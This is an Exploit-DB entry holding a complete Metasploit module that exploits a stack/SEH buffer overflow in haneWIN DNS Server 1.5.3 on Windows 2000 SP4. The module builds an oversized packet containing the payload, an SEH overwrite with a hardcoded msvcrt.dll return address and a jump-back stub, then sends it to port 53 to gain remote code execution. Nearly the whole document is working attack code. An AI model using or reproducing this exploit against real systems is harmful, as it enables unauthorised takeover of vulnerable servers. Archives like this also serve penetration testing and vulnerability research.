EDB-ID: 42723 | Author: James Fitts | Published: 2017-09-14 | CVE: N/A | Type: Remote | Platform: Windows | Aliases: N/A | Advisory/Source: N/A | Tags: Metasploit Framework | Vulnerable App: N/A |
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'haneWIN DNS Server Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability found in
haneWIN DNS Server <= 1.5.3. The vulnerability is triggered
by sending an overly long packet to the victim server. A memcpy
function blindly copies user supplied data to a fixed size buffer
leading to remote code execution.
This module was tested against haneWIN DNS 1.5.3
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '31260' ],
[ 'OSVDB', '102773' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'DisableNops' => true,
'BadChars' => "\x00\x0a\x0d\x20",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Platform' => 'win',
'DefaultTarget' => 0,
'Targets' =>
[
[
'Windows 2000 SP4 EN / haneWIN DNS 1.5.3',
{
# msvcrt.dll v6.10.9844.0
# pop esi/ pop edi/ retn
'Ret' => 0x78010394,
}
]
],
'DisclosureDate' => 'Jul 27 2013'))
register_options([Opt::RPORT(53)], self.class)
end
def exploit
connect
p = make_nops(32) + payload.encoded
buf = Rex::Text.pattern_create(5000)
buf[0, 2] = [0x4e20].pack('n') # length for malloc
buf[1332, p.length] = p
buf[2324, 8] = generate_seh_record(target.ret)
buf[2332, 15] = make_nops(10) + "\xe9\x13\xfc\xff\xff" # jmp $-1000
print_status("Sending malicious request...")
sock.put(buf)
disconnect
end
end
